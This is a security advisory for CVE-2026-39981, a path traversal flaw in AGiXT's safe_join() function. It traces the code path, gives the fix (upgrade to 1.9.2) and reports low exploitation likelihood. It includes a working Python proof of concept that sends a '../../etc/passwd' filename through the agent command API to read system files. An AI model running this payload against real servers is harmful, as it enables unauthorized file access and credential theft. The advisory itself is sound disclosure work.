CVE-2026-39981
AGiXT Vulnerable to Path Traversal in safe_join()
描述
### Summary The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. ### Details `agixt/endpoints/Extension.py:165` (source) -> `agixt/XT.py:1035` (hop) -> `agixt/extensions/essential_abilities.py:436` (sink) ```python # source command_args = command.command_args # hop response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args) # sink new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/"))) ``` ### PoC ```python # tested on: agixt<=1.9.1 # install: pip install agixt==1.9.1 import requests BASE = "http://localhost:7437" TOKEN = "<your_api_key>" headers = {"Authorization": f"Bearer {TOKEN}"} payload = { "command_name": "read_file", "command_args": { "filename": "../../etc/passwd" } } r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers) print(r.text) # expected output: root:x:0:0:root:/root:/bin/bash ... ``` ### Impact Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
如何修補 CVE-2026-39981
要修補 CVE-2026-39981,請將受影響套件升級到下列已修補版本。
- —升級至 1.9.2 或更新版本
CVE-2026-39981 正在被利用嗎?
低 — EPSS 為 0.1%,目前沒有觀察到大規模利用活動。
受影響套件(1)
- from 0, < 1.9.2